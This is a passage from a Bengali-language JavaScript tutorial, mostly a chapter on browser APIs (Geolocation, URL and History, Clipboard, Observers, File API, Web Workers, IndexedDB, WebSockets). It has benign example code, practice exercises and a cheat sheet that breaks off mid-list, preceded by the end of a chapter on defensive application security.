                  Application Security
                         
              ────────────────────
                                  
           API         Database   Dependencies
              
              Authorization
              Rate Limit
              Validation
              Safe Errors
⭐ এন্ড-টু-এন্ড রিকোয়েস্ট সিকিউরিটি পাইপলাইন:
🛡️ Zero-Trust Input & Execution Pipeline
User Input
    
Untrusted
    
Validate
    
Sanitize / Encode where needed
    
Authenticate
    
Authorize
    
Secure API
    
Secure Database
    
Safe Response
    
Secure Browser Rendering
🔥 Chapter 31-এর সবচেয়ে গুরুত্বপূর্ণ চিরন্তন বাক্য:
“Never trust the client, never trust user input, and never assume one security mechanism is enough.”
🚀 Next Chapter Preview:
Chapter 32 — Advanced Browser APIs
পরবর্তী চ্যাপ্টারে আমরা শিখব Geolocation, IntersectionObserver, MutationObserver, ResizeObserver, Clipboard, Web Workers, IndexedDB, WebSockets এবং File API।
Chapter 32
↑ Index
Advanced Browser APIs — অ্যাডভান্সড ব্রাউজার এপিআই
Total Modules
36 Modules + Practice Lab
Curriculum Part
Part 26 — Advanced Browser APIs
Core Mechanics
Observers, Web Workers, IndexedDB, Sockets
Reference Standard
W3C / WHATWG Living Standard 2026
🌐 Advanced Browser APIs — ব্রাউজার ও ডিভাইস সক্ষমতা ব্যবহারের মূল উদ্দেশ্য

JavaScript-এর কোর ল্যাঙ্গুয়েজের সীমানা ছাড়িয়ে ব্রাউজার রানটাইম ডেভেলপারদের যেসব শক্তিশালী প্ল্যাটফর্ম এপিআই প্রদান করে, আধুনিক ওয়েব অ্যাপ্লিকেশনের প্রাণশক্তি হলো সেগুলো। এই চ্যাপ্টারে আমরা Geolocation, IntersectionObserver, MutationObserver, ResizeObserver, File API & Blob, Web Workers, BroadcastChannel, IndexedDB এবং WebSockets গভীরভাবে শিখব।

📌 1. Geolocation API
📌 2. URL & History
📌 3. Clipboard API
📌 4. 3 Observers Trio
📌 5. File API & Blob
📌 6. Web Workers
📌 7. BroadcastChannel
📌 8. IndexedDB
📌 9. WebSockets
📌 10. Wake Lock & Share
Part 01 — Browser Web APIs Architecture & Geolocation Integration (32.1 – 32.2)
32.1 Browser API কী?

Browser API হলো browser-এর দেওয়া JavaScript interface, যার মাধ্যমে JavaScript browser-এর বিভিন্ন capability ব্যবহার করতে পারে। যেমন:

JAVASCRIPT SourceJAVASCRIPT
navigator.geolocation;

এর মাধ্যমে location access করা যায়।

JAVASCRIPT SourceJAVASCRIPT
navigator.clipboard;

এর মাধ্যমে clipboard ব্যবহার করা যায়।

JAVASCRIPT SourceJAVASCRIPT
window.history;

এর মাধ্যমে browser history পরিবর্তন করা যায়।

🔹 সহজভাবে

JavaScript নিজে জানে:

JAVASCRIPT SourceJAVASCRIPT
let x = 10;
console.log(x);

কিন্তু browser JavaScript-কে extra ক্ষমতা দেয়:

JAVASCRIPT SourceJAVASCRIPT
navigator.geolocation;
navigator.clipboard;
window.history;
window.localStorage;
32.2 Geolocation API

Website থেকে user's geographic location নেওয়ার জন্য Geolocation API ব্যবহার করা হয়।

🔹 Basic Syntax
JAVASCRIPT SourceJAVASCRIPT
navigator.geolocation.getCurrentPosition(success, error);
🔹 Example
JAVASCRIPT SourceJAVASCRIPT
navigator.geolocation.getCurrentPosition(
  (position) => {
    console.log(position.coords.latitude);
    console.log(position.coords.longitude);
  },
  (error) => {
    console.log(error.message);
  },
);
🔹 Output
🌐 BROWSER API ARCHITECTURE & DATA FLOW
23.8103
90.4125

এগুলো latitude এবং longitude।

🔹 Real-life Example

Food delivery website:

🌐 GEOLOCATION HARDWARE INTEGRATION FLOW
Current Location
       
GPS
       
Latitude + Longitude
       
Nearby Restaurants
🌐 Position-এর গুরুত্বপূর্ণ properties
JAVASCRIPT SourceJAVASCRIPT
position.coords.latitude;
position.coords.longitude;
position.coords.accuracy;
position.coords.altitude;
position.coords.speed;

সবসময় সব property পাওয়া যাবে এমন নয়।

🔹 Better Example
JAVASCRIPT SourceJAVASCRIPT
function getLocation() {
  navigator.geolocation.getCurrentPosition(
    (position) => {
      const { latitude, longitude } = position.coords;

      console.log(`Latitude: ${latitude}`);
      console.log(`Longitude: ${longitude}`);
    },
    (error) => {
      console.error("Location error:", error.message);
    },
  );
}

getLocation();
🌐 watchPosition()

User-এর location continuously track করার জন্য:

JAVASCRIPT SourceJAVASCRIPT
const watchId = navigator.geolocation.watchPosition((position) => {
  console.log(position.coords.latitude);
});

Stop করতে:

JAVASCRIPT SourceJAVASCRIPT
navigator.geolocation.clearWatch(watchId);
🔹 Real-life

Ride-sharing app:

🌐 BROWSER API ARCHITECTURE & DATA FLOW
Driver moves
     
GPS updates
     
watchPosition()
     
Map updates

⚠️ Location permission এবং privacy অত্যন্ত গুরুত্বপূর্ণ।

Part 02 — URL Processing, Query Strings & History Routing (32.3 – 32.6)
32.3 URL API

JavaScript-এর URL object দিয়ে URL parse এবং manipulate করা যায়।

JAVASCRIPT SourceJAVASCRIPT
const url = new URL("https://example.com/products?id=101&category=phone");

console.log(url.hostname);
console.log(url.pathname);
console.log(url.search);
🔹 Output
🌐 BROWSER API ARCHITECTURE & DATA FLOW
example.com
/products
?id=101&category=phone
🌐 URL-এর গুরুত্বপূর্ণ properties
JAVASCRIPT SourceJAVASCRIPT
url.href;
url.protocol;
url.host;
url.hostname;
url.port;
url.pathname;
url.search;
url.hash;

Example:

JAVASCRIPT SourceJAVASCRIPT
const url = new URL("https://example.com:8080/products?id=10#details");

console.log(url.protocol); // https:
console.log(url.hostname); // example.com
console.log(url.port); // 8080
console.log(url.pathname); // /products
console.log(url.search); // ?id=10
console.log(url.hash); // #details
32.4 URLSearchParams

Query parameters handle করার জন্য URLSearchParams খুব useful।

JAVASCRIPT SourceJAVASCRIPT
const params = new URLSearchParams("?name=Ripon&age=24");

console.log(params.get("name"));
console.log(params.get("age"));

Output:

🌐 BROWSER API ARCHITECTURE & DATA FLOW
Ripon
24
🌐 Add
JAVASCRIPT SourceJAVASCRIPT
params.set("city", "Dhaka");
🌐 Delete
JAVASCRIPT SourceJAVASCRIPT
params.delete("age");
🌐 Check
JAVASCRIPT SourceJAVASCRIPT
params.has("name");
🌐 Convert to string
JAVASCRIPT SourceJAVASCRIPT
console.log(params.toString());
🌐 Real-life API example
JAVASCRIPT SourceJAVASCRIPT
const params = new URLSearchParams({
  search: "laptop",
  page: 2,
  limit: 20,
});

const url = `/products?${params}`;

console.log(url);

Output:

🌐 BROWSER API ARCHITECTURE & DATA FLOW
/products?search=laptop&page=2&limit=20

🔥 React/Next.js/Node.js API development-এ এটি খুব common।

32.5 History API

Browser-এর history manipulate করার জন্য:

JAVASCRIPT SourceJAVASCRIPT
window.history;

ব্যবহার করা হয়। Important methods:

JAVASCRIPT SourceJAVASCRIPT
history.back();
history.forward();
history.go();
history.pushState();
history.replaceState();
🌐 pushState()

নতুন history entry তৈরি করে।

JAVASCRIPT SourceJAVASCRIPT
history.pushState({ page: 2 }, "", "/products?page=2");

Browser URL পরিবর্তন হবে:

🌐 BROWSER API ARCHITECTURE & DATA FLOW
/products?page=2

কিন্তু page reload হবে না।

🌐 replaceState()

বর্তমান history entry replace করে।

JAVASCRIPT SourceJAVASCRIPT
history.replaceState({ page: 2 }, "", "/products?page=2");
32.6 popstate Event

Back/forward navigation detect করতে:

JAVASCRIPT SourceJAVASCRIPT
window.addEventListener("popstate", (event) => {
  console.log(event.state);
});
🔹 SPA-তে ব্যবহার

React Router-এর মতো routing system-এর concept বুঝতে History API জানা গুরুত্বপূর্ণ।

Part 03 — System Clipboard & Push Notification Services (32.7 – 32.8)
32.7 Clipboard API

Copy/paste functionality তৈরি করতে:

JAVASCRIPT SourceJAVASCRIPT
navigator.clipboard;

ব্যবহার করা হয়।

🔹 Copy
JAVASCRIPT SourceJAVASCRIPT
navigator.clipboard.writeText("Hello World");
🔹 Read
JAVASCRIPT SourceJAVASCRIPT
navigator.clipboard.readText().then((text) => {
  console.log(text);
});
🔹 Better example
JAVASCRIPT SourceJAVASCRIPT
async function copyText() {
  try {
    await navigator.clipboard.writeText("Hello Ripon");
    console.log("Copied!");
  } catch (error) {
    console.error("Copy failed:", error);
  }
}

copyText();
🔹 Real-life
🌐 BROWSER API ARCHITECTURE & DATA FLOW
API Key
   
[ Copy ]
   
Clipboard API

GitHub, password managers, developer tools ইত্যাদিতে এই concept দেখা যায়।

32.8 Notifications API

Browser notification দেখানোর জন্য:

JAVASCRIPT SourceJAVASCRIPT
Notification;
🔹 Permission
JAVASCRIPT SourceJAVASCRIPT
Notification.requestPermission();
🔹 Notification
JAVASCRIPT SourceJAVASCRIPT
new Notification("Hello!");
🌐 Complete example
JAVASCRIPT SourceJAVASCRIPT
async function showNotification() {
  const permission = await Notification.requestPermission();

  if (permission === "granted") {
    new Notification("New Message", {
      body: "You received a new message.",
    });
  }
}

showNotification();

Possible permission:

🌐 BROWSER API ARCHITECTURE & DATA FLOW
granted
denied
default

⚠️ Browser permission এবং user privacy rules গুরুত্বপূর্ণ।

Part 04 — The Modern Observer Trio (Intersection, Mutation & Resize) (32.9 – 32.12)
32.9 IntersectionObserver

এটি detect করতে পারে কোনো element viewport-এর মধ্যে এসেছে কিনা।

🔹 Basic Example
JAVASCRIPT SourceJAVASCRIPT
const observer = new IntersectionObserver((entries) => {
  entries.forEach((entry) => {
    if (entry.isIntersecting) {
      console.log("Element visible!");
    }
  });
});

const box = document.querySelector(".box");

observer.observe(box);
🌐 Real-life use
🔹 Lazy loading
🌐 VIEWPORT INTERSECTION OBSERVER LIFECYCLE
Page
 
Image এখনো screen-এর বাইরে
 
User scroll করে
 
Image viewport-এ আসে
 
IntersectionObserver
 
Image load
🌐 Lazy image example
HTML DOM MARKUPHTML
<img class="lazy" data-src="image.jpg" alt="Example" />
JAVASCRIPT SourceJAVASCRIPT
const observer = new IntersectionObserver((entries) => {
  entries.forEach((entry) => {
    if (entry.isIntersecting) {
      const img = entry.target;

      img.src = img.dataset.src;

      observer.unobserve(img);
    }
  });
});

document.querySelectorAll(".lazy").forEach((img) => observer.observe(img));

🔥 Performance optimization-এ খুব important।

32.10 MutationObserver

DOM-এর মধ্যে কোনো পরিবর্তন হলে detect করতে:

JAVASCRIPT SourceJAVASCRIPT
MutationObserver;

ব্যবহার করা হয়।

🔹 Example
JAVASCRIPT SourceJAVASCRIPT
const observer = new MutationObserver((mutations) => {
  console.log("DOM changed!");
});

const target = document.querySelector("#app");

observer.observe(target, {
  childList: true,
  subtree: true,
});
🔹 Example DOM change
JAVASCRIPT SourceJAVASCRIPT
const div = document.querySelector("#app");

div.innerHTML += "<p>Hello</p>";

Observer detect করতে পারবে।

🔹 Real-life

Dynamic application:

🌐 BROWSER API ARCHITECTURE & DATA FLOW
DOM changes
    
MutationObserver
    
Detect changes
    
Run logic
32.11 ResizeObserver

কোনো element-এর size পরিবর্তন detect করতে:

JAVASCRIPT SourceJAVASCRIPT
const observer = new ResizeObserver((entries) => {
  for (const entry of entries) {
    console.log(entry.contentRect.width);
    console.log(entry.contentRect.height);
  }
});

observer.observe(document.querySelector(".box"));
🔹 Real-life

Responsive dashboard:

🌐 BROWSER API ARCHITECTURE & DATA FLOW
Sidebar resize
      
Container size changes
      
ResizeObserver
      
Chart resize
32.12 IntersectionObserver vs MutationObserver vs ResizeObserver
APIকী observe করে?
IntersectionObserverElement viewport-এর সাথে intersect করছে কিনা
MutationObserverDOM change
ResizeObserverElement size change

🧠 সহজে মনে রাখুন:

🌐 VIEWPORT INTERSECTION OBSERVER LIFECYCLE
Intersection  Screen visibility
Mutation      DOM changes
Resize        Size changes
Part 05 — File API, FileReader, Binary Blob & Object URLs (32.13 – 32.18)
32.13 File API

Browser-এ user যখন file select করে:

HTML DOM MARKUPHTML
<input type="file" id="fileInput" />

JavaScript:

JAVASCRIPT SourceJAVASCRIPT
const input = document.querySelector("#fileInput");

input.addEventListener("change", () => {
  const file = input.files[0];

  console.log(file.name);
  console.log(file.size);
  console.log(file.type);
});

Possible output:

🌐 BROWSER API ARCHITECTURE & DATA FLOW
photo.jpg
245678
image/jpeg
🌐 File object

Important properties:

JAVASCRIPT SourceJAVASCRIPT
file.name;
file.size;
file.type;
file.lastModified;
32.14 FileReader

File-এর content পড়তে:

JAVASCRIPT SourceJAVASCRIPT
const reader = new FileReader();
🔹 Text file
JAVASCRIPT SourceJAVASCRIPT
reader.readAsText(file);

তারপর:

JAVASCRIPT SourceJAVASCRIPT
reader.onload = () => {
  console.log(reader.result);
};

Complete:

JAVASCRIPT SourceJAVASCRIPT
const input = document.querySelector("#fileInput");

input.addEventListener("change", () => {
  const file = input.files[0];

  const reader = new FileReader();

  reader.onload = () => {
    console.log(reader.result);
  };

  reader.readAsText(file);
});
32.15 Reading Image

Image preview তৈরি করতে:

JAVASCRIPT SourceJAVASCRIPT
const reader = new FileReader();

reader.onload = () => {
  img.src = reader.result;
};

reader.readAsDataURL(file);
🔹 Real-life

Profile picture upload:

🌐 FILE API & BLOB PROCESSING PIPELINE
Select Image
     
File API
     
FileReader
     
Preview
     
Upload
32.16 Blob

Blob হলো binary-like data-এর একটি container।

JAVASCRIPT SourceJAVASCRIPT
const blob = new Blob(["Hello World"], { type: "text/plain" });

তারপর:

JAVASCRIPT SourceJAVASCRIPT
console.log(blob.size);
console.log(blob.type);
🔹 Real-life

Blob ব্যবহার হতে পারে:

  • image data
  • PDF data
  • generated text
  • downloaded files
  • binary data
32.17 Object URL

Blob/File-এর জন্য temporary URL তৈরি করা যায়:

JAVASCRIPT SourceJAVASCRIPT
const url = URL.createObjectURL(blob);

console.log(url);

এটি এমন URL দিতে পারে:

🌐 BROWSER API ARCHITECTURE & DATA FLOW
blob:https://example.com/...
🔹 Image preview
JAVASCRIPT SourceJAVASCRIPT
const imageURL = URL.createObjectURL(file);

img.src = imageURL;

কাজ শেষ হলে:

JAVASCRIPT SourceJAVASCRIPT
URL.revokeObjectURL(imageURL);

🔥 Object URL revoke করা memory management-এর জন্য important।

32.18 Drag and Drop API

HTML:

HTML DOM MARKUPHTML
<div id="dropZone">Drop File Here</div>

JavaScript:

JAVASCRIPT SourceJAVASCRIPT
const dropZone = document.querySelector("#dropZone");

dropZone.addEventListener("dragover", (event) => {
  event.preventDefault();
});

dropZone.addEventListener("drop", (event) => {
  event.preventDefault();

  const files = event.dataTransfer.files;

  console.log(files);
});
🔹 Real-life
🌐 BROWSER API ARCHITECTURE & DATA FLOW
Computer
   
Drag file
   
Drop Zone
   
dataTransfer.files
   
Upload
Part 06 — Web Workers Concurrency & Cross-Tab BroadcastChannel (32.19 – 32.20)
32.19 Web Workers

JavaScript-এর heavy কাজ main thread block করতে পারে। Web Worker ব্যবহার করলে আলাদা worker context-এ JavaScript চালানো যায়।

🔹 Main file
JAVASCRIPT SourceJAVASCRIPT
const worker = new Worker("worker.js");

worker.postMessage(1000000000);

worker.onmessage = (event) => {
  console.log(event.data);
};
🔹 worker.js
JAVASCRIPT SourceJAVASCRIPT
self.onmessage = (event) => {
  const number = event.data;

  let result = 0;

  for (let i = 0; i < number; i++) {
    result += i;
  }

  self.postMessage(result);
};
🔹 Communication
🌐 WEB WORKER MULTI-THREADING ARCHITECTURE
Main Thread
     postMessage()
Worker
     postMessage()
Main Thread
🌐 কেন Worker?

ধরুন:

JAVASCRIPT SourceJAVASCRIPT
for (let i = 0; i < 10_000_000_000; i++) {
  // heavy work
}

Main thread-এ করলে UI freeze করতে পারে। Worker ব্যবহার করলে main UI responsive রাখা যায়।

🔹 Real-life
  • image processing
  • large calculations
  • data processing
  • encryption-related computation
  • parsing large datasets

⚠️ Worker-এর DOM access সরাসরি করা যায় না।

32.20 BroadcastChannel

একই origin-এর multiple browser contexts-এর মধ্যে message পাঠাতে:

JAVASCRIPT SourceJAVASCRIPT
const channel = new BroadcastChannel("app_channel");

Message পাঠান:

JAVASCRIPT SourceJAVASCRIPT
channel.postMessage({
  type: "logout",
});

অন্য tab:

JAVASCRIPT SourceJAVASCRIPT
channel.onmessage = (event) => {
  console.log(event.data);
};
🔹 Real-life

ধরুন একই website দুইটি tab-এ খোলা:

🌐 CROSS-TAB BROADCASTCHANNEL SYNC FLOW
Tab 1
   logout
BroadcastChannel
  
Tab 2
  
User logged out
Part 07 — Structured Client Database (IndexedDB) & WebSockets (32.21 – 32.23)
32.21 IndexedDB

Browser-এর ভিতরে structured data store করার জন্য IndexedDB ব্যবহার করা যায়। এটি:

🌐 CLIENT STORAGE CAPACITY & ARCHITECTURE
localStorage

এর চেয়ে অনেক powerful। IndexedDB:

  • large data store করতে পারে
  • structured objects রাখতে পারে
  • indexes support করে
  • asynchronous
  • transactions support করে
🌐 Basic idea
JAVASCRIPT SourceJAVASCRIPT
const request = indexedDB.open("MyDatabase", 1);

Database তৈরি হলে:

JAVASCRIPT SourceJAVASCRIPT
request.onupgradeneeded = (event) => {
  const db = event.target.result;

  db.createObjectStore("users", {
    keyPath: "id",
  });
};

তারপর database:

JAVASCRIPT SourceJAVASCRIPT
request.onsuccess = (event) => {
  const db = event.target.result;

  console.log("Database opened");
};
🔹 Real-life

Offline-first application:

🌐 CLIENT STORAGE CAPACITY & ARCHITECTURE
Server
   
IndexedDB
   
Browser local database
   
Offline usage
32.22 localStorage vs IndexedDB
FeaturelocalStorageIndexedDB
DataStringStructured data
SizeLimitedMuch larger
Async
Transactions
Complex dataLimited
Large applications
32.23 WebSockets

HTTP request-এর ক্ষেত্রে সাধারণ flow:

🌐 BROWSER API ARCHITECTURE & DATA FLOW
Client  Request
Server  Response

WebSocket persistent connection তৈরি করতে পারে:

🌐 BROWSER API ARCHITECTURE & DATA FLOW
Client  Server
🌐 Basic JavaScript
JAVASCRIPT SourceJAVASCRIPT
const socket = new WebSocket("wss://example.com/socket");

Connection:

JAVASCRIPT SourceJAVASCRIPT
socket.onopen = () => {
  console.log("Connected");
};

Message:

JAVASCRIPT SourceJAVASCRIPT
socket.onmessage = (event) => {
  console.log(event.data);
};

Send:

JAVASCRIPT SourceJAVASCRIPT
socket.send("Hello Server");

Close:

JAVASCRIPT SourceJAVASCRIPT
socket.close();
🌐 Real-life

Chat application:

🌐 FULL-DUPLEX WEBSOCKET PROTOCOL PIPELINE
User A
   ↕
WebSocket Server
   ↕
User B

Use cases:

  • chat
  • live notifications
  • live dashboard
  • multiplayer games
  • real-time tracking
Part 08 — Hardware Integration, Page Visibility, Wake Lock & Permissions (32.24 – 32.30)
32.24 Web Share API

Mobile/browser-supported environments-এ native share dialog ব্যবহার করা যায়।

JAVASCRIPT SourceJAVASCRIPT
async function sharePage() {
  if (navigator.share) {
    await navigator.share({
      title: "My Website",
      text: "Check this website",
      url: location.href,
    });
  }
}

Button:

HTML DOM MARKUPHTML
<button onclick="sharePage()">Share</button>
32.25 Page Visibility API

User browser tab দেখছে কিনা detect করতে:

JAVASCRIPT SourceJAVASCRIPT
document.visibilityState;

Possible values:

🌐 BROWSER API ARCHITECTURE & DATA FLOW
visible
hidden

Event:

JAVASCRIPT SourceJAVASCRIPT
document.addEventListener("visibilitychange", () => {
  if (document.hidden) {
    console.log("Tab hidden");
  } else {
    console.log("Tab visible");
  }
});
🌐 Real-life

Video:

🌐 BROWSER API ARCHITECTURE & DATA FLOW
User watches video
       
Switches tab
       
visibilitychange
       
Pause video

Music player-এও বিভিন্ন UI optimization করা যায়।

32.26 Screen Wake Lock API

কিছু browser/device-এ screen যেন automatically sleep না করে তার জন্য Wake Lock API ব্যবহার করা যায়।

JAVASCRIPT SourceJAVASCRIPT
let wakeLock;

async function requestWakeLock() {
  try {
    wakeLock = await navigator.wakeLock.request("screen");

    console.log("Screen wake lock active");
  } catch (error) {
    console.error(error);
  }
}
🔹 Real-life
  • navigation app
  • presentation
  • cooking recipe
  • workout timer
  • kiosk application
32.27 Navigator Object

Browser environment-এর information/capability access করতে:

JAVASCRIPT SourceJAVASCRIPT
navigator;

ব্যবহার করা হয়। উদাহরণ:

JAVASCRIPT SourceJAVASCRIPT
console.log(navigator.language);
console.log(navigator.onLine);
console.log(navigator.userAgent);

আরও:

JAVASCRIPT SourceJAVASCRIPT
navigator.geolocation;
navigator.clipboard;
navigator.mediaDevices;
navigator.permissions;
navigator.storage;
navigator.hardwareConcurrency;
32.28 navigator.onLine

Browser online/offline state সম্পর্কে একটি hint পাওয়া যায়:

JAVASCRIPT SourceJAVASCRIPT
if (navigator.onLine) {
  console.log("Online");
} else {
  console.log("Offline");
}

Events:

JAVASCRIPT SourceJAVASCRIPT
window.addEventListener("online", () => {
  console.log("Back online");
});

window.addEventListener("offline", () => {
  console.log("Offline");
});

⚠️ navigator.onLine internet-এর end-to-end connectivity-এর নিশ্চয়তা দেয় না।

32.29 Permissions API

Browser permission state query করার জন্য:

JAVASCRIPT SourceJAVASCRIPT
navigator.permissions.query();

Example:

JAVASCRIPT SourceJAVASCRIPT
navigator.permissions
  .query({
    name: "geolocation",
  })
  .then((result) => {
    console.log(result.state);
  });

Possible:

🌐 BROWSER API ARCHITECTURE & DATA FLOW
granted
denied
prompt
32.30 Browser API Security

Advanced Browser API ব্যবহার করার সময় security গুরুত্বপূর্ণ।

🔹 Example:

Geolocation:

🌐 GEOLOCATION HARDWARE INTEGRATION FLOW
User permission
       
Location access

Clipboard:

🌐 BROWSER API ARCHITECTURE & DATA FLOW
User interaction / browser security
       
Clipboard access

Notification:

🌐 BROWSER API ARCHITECTURE & DATA FLOW
Permission
       
Notification

তাই browser API মানেই unrestricted access নয়।

Part 09 — Hands-On Real-World Mini Projects (32.31 – 32.34)
32.31 Practical Project — Image Preview

HTML:

HTML DOM MARKUPHTML
<input type="file" id="imageInput" />

<img id="preview" width="300" alt="Preview" />

JavaScript:

JAVASCRIPT SourceJAVASCRIPT
const input = document.querySelector("#imageInput");

const preview = document.querySelector("#preview");

input.addEventListener("change", () => {
  const file = input.files[0];

  if (!file) return;

  const url = URL.createObjectURL(file);

  preview.src = url;

  preview.onload = () => {
    URL.revokeObjectURL(url);
  };
});
🔹 এখানে কী শিখলাম?
🌐 FILE API & BLOB PROCESSING PIPELINE
<input type=file>
       
File
       
Object URL
       
Image Preview
       
revokeObjectURL()
32.32 Practical Project — Copy Button

HTML:

HTML DOM MARKUPHTML
<p id="text">JavaScript is powerful.</p>

<button id="copyBtn">Copy</button>

JavaScript:

JAVASCRIPT SourceJAVASCRIPT
const text = document.querySelector("#text");

const button = document.querySelector("#copyBtn");

button.addEventListener("click", async () => {
  try {
    await navigator.clipboard.writeText(text.textContent);

    button.textContent = "Copied!";

    setTimeout(() => {
      button.textContent = "Copy";
    }, 1500);
  } catch (error) {
    console.error(error);
  }
});
32.33 Practical Project — Lazy Loading
HTML DOM MARKUPHTML
<img class="lazy" data-src="large-image.jpg" width="500" alt="Large image" />
JAVASCRIPT SourceJAVASCRIPT
const images = document.querySelectorAll(".lazy");

const observer = new IntersectionObserver((entries) => {
  entries.forEach((entry) => {
    if (!entry.isIntersecting) return;

    const img = entry.target;

    img.src = img.dataset.src;

    observer.unobserve(img);
  });
});

images.forEach((img) => {
  observer.observe(img);
});

এটি large website-এর performance improve করতে সাহায্য করতে পারে।

32.34 Practical Project — Tab Communication
🔹 Tab 1
JAVASCRIPT SourceJAVASCRIPT
const channel = new BroadcastChannel("notifications");

channel.postMessage({
  message: "New task added",
});
🔹 Tab 2
JAVASCRIPT SourceJAVASCRIPT
const channel = new BroadcastChannel("notifications");

channel.onmessage = (event) => {
  console.log(event.data.message);
};

Output:

🌐 BROWSER API ARCHITECTURE & DATA FLOW
New task added
Part 10 — Browser APIs Decision Matrix & Core Pillars (32.35 – 32.36)
32.35 Browser APIs — কোনটা কখন?
ProblemAPI
LocationGeolocation
URL parseURL
Query parametersURLSearchParams
Browser routeHistory API
Copy textClipboard
NotificationNotifications
Viewport visibilityIntersectionObserver
DOM changesMutationObserver
Element resizeResizeObserver
File uploadFile API
Read fileFileReader
Binary dataBlob
Temporary file URLObject URL
Drag fileDrag & Drop
Heavy computationWeb Worker
Tab communicationBroadcastChannel
Large local databaseIndexedDB
Real-time communicationWebSocket
Native sharingWeb Share
Tab visibilityPage Visibility
Prevent screen sleepWake Lock
Browser capabilitiesNavigator
Permission statePermissions API

# 🔥 32.36 MUST KNOW এই Chapter থেকে এগুলো অবশ্যই ভালোভাবে জানতে হবে:

🔹 ⭐ 1. URL
JAVASCRIPT SourceJAVASCRIPT
new URL();
🔹 ⭐ 2. URLSearchParams
JAVASCRIPT SourceJAVASCRIPT
new URLSearchParams();
🔹 ⭐ 3. History API
JAVASCRIPT SourceJAVASCRIPT
history.pushState();
history.replaceState();
🔹 ⭐ 4. IntersectionObserver

Lazy loading এবং viewport detection-এর জন্য।

🔹 ⭐ 5. MutationObserver

DOM changes detect করার জন্য।

🔹 ⭐ 6. ResizeObserver

Element size change detect করার জন্য।

🔹 ⭐ 7. File API
JAVASCRIPT SourceJAVASCRIPT
input.files;
🔹 ⭐ 8. FileReader

File content পড়তে।

🔹 ⭐ 9. Blob

Binary-like data handle করতে।

🔹 ⭐ 10. Web Worker

Heavy computation আলাদা worker context-এ চালাতে।

🔹 ⭐ 11. IndexedDB

Browser-side structured database।

🔹 ⭐ 12. WebSocket

Real-time two-way communication।

🔹 ⭐ 13. Clipboard API

Copy/paste।

🔹 ⭐ 14. BroadcastChannel

Multiple tabs communication। # 🧠 Quick Cheat Sheet

JAVASCRIPT SourceJAVASCRIPT
// Location
navigator.geolocation.getCurrentPosition(...);

// URL
const url = new URL("https://example.com");

// Query params
const params = new URLSearchParams("?id=10");

// History
history.pushState({}, "", "/home");

// Clipboard
await navigator.clipboard.writeText("Hello");

// Notification
await Notification.requestPermission();

// Intersection
new IntersectionObserver(callback);

// DOM mutation
new MutationObserver(callback);

// Resize
new ResizeObserver(callback);

// File
input.files[0];

// FileReader
new FileReader();

// Blob
new Blob(["Hello"]);

// Object URL
URL.createObjectURL(file);

// Worker
new Worker("worker.js");

// Broadcast
new BroadcastChannel("channel");

// IndexedDB
indexedDB.open("Database");

// WebSocket
new WebSocket("wss://example.com");

// Share
navigator.share({...});

// Visibility
document.visibilityState;

// Wake Lock
navigator.wakeLock.request("screen");

// Permissions
navigator.permissions.query({...});

# 📝 Practice Set

🔹 Beginner

1. Current browser URL থেকে hostname বের করুন। 2. URL থেকে id query parameter বের করুন। 3. একটা Copy button তৈরি করুন। 4. একটা image upload করে preview দেখান। 5. একটা notification button তৈরি করুন।

🔹 Intermediate

6. IntersectionObserver দিয়ে lazy image loader তৈরি করুন। 7. MutationObserver দিয়ে DOM change detect করুন। 8. ResizeObserver দিয়ে box-এর width display করুন। 9. Drag & Drop image uploader তৈরি করুন। 10. BroadcastChannel ব্যবহার করে দুই tab-এর মধ্যে message পাঠান।

🔹 Advanced

11. Web Worker ব্যবহার করে large calculation করুন। 12. IndexedDB-তে user data save করুন। 13. WebSocket দিয়ে real-time chat UI তৈরি করুন। 14. History API দিয়ে simple SPA router তৈরি করুন। 15. File API + Blob + Object URL ব্যবহার করে browser-based file preview/download system তৈরি করুন। # 🎯 Final Mental Map পুরো Chapter-টা এভাবে মনে রাখুন:

🌐 WEB WORKER MULTI-THREADING ARCHITECTURE
Browser APIs
                      
       ────────────────────────────
                                   
    Browser        DOM/View       Storage
    Features        APIs            
                                   
       Location    ─ Intersection IndexedDB
       Clipboard   ─ Mutation     ─ localStorage
       Notification─ Resize       ─ Cookies
       Share       
       History     
                      
                 File & Data
                      
              ───────────────
                             
           FileReader Blob   Object URL

                 Communication
                      
              ───────────────
                             
          WebSocket  Worker  Broadcast

                 Browser State
                      
              ───────────────
                             
          Visibility Permissions Wake Lock
🌐 🚀 Chapter 32-এর মূল কথা
💡 Browser API = JavaScript + Browser-এর extra capabilities

JavaScript দিয়ে শুধু calculation বা DOM manipulation করাই নয়—Browser APIs ব্যবহার করে তুমি:

🌐 WEB WORKER MULTI-THREADING ARCHITECTURE
📍 Location
📋 Clipboard
🔔 Notifications
📁 Files
🖼️ Image Preview
⚡ Performance
🧵 Web Workers
💾 Browser Database
💬 Real-time Communication
📡 WebSocket
📑 History/Routing
📤 Native Sharing
👀 Visibility Detection

এর মতো real-world functionality তৈরি করতে পারবে। পরবর্তী Chapter 33 → JavaScript Web Performance & Optimization — এখানে আমরা দেখব কীভাবে JavaScript application দ্রুত, lightweight, responsive এবং production-ready করা যায়।

32.36 🔥 MUST KNOW — ব্রাউজার প্ল্যাটফর্মের ১৪টি প্রধান স্তম্ভ

মডার্ন ওয়েব অ্যাপ্লিকেশনের জন্য যেসব ব্রাউজার এপিআই প্রতিটি ইঞ্জিনিয়ারের নখদর্পণে থাকা প্রয়োজন:

📌 1. Navigation & Hardware
  • URL & URLSearchParams: Query string parsing
  • History API: pushState/popstate SPA router
  • Geolocation: GPS coordinate tracking
  • Clipboard API: Async copy/paste text
  • Notifications: Desktop push notifications
📌 2. Observers & File Pipeline
  • IntersectionObserver: Lazy loading & infinite scroll
  • MutationObserver: DOM tree mutation listening
  • ResizeObserver: Container query size changes
  • File API & FileReader: Local file stream read
  • Blob & Object URL: In-memory binary URLs
📌 3. Concurrency & Storage
  • Web Workers: Heavy tasks on separate threads
  • BroadcastChannel: Multi-tab real-time sync
  • IndexedDB: High-capacity client NoSQL DB
  • WebSockets: Full-duplex instant communication
  • Page Visibility: Background tab power saving
Part 11 — Quick Cheat Sheet & 15 Hands-On Practice Labs with Full Solutions
32.Cheat 🧠 Quick Cheat Sheet — Browser APIs Rapid Reference

দৈনন্দিন প্রোডাকশন ডেভেলপমেন্টে বহুল ব্যবহৃত ব্রাউজার এপিআই মেথডগুলোর দ্রুত সিনট্যাক্স গাইড:

BROWSER APIS RAPID CHEAT SHEETJAVASCRIPT
// Location
navigator.geolocation.getCurrentPosition(...);

// URL
const url = new URL("https://example.com");

// Query params
const params = new URLSearchParams("?id=10");

// History
history.pushState({}, "", "/home");

// Clipboard
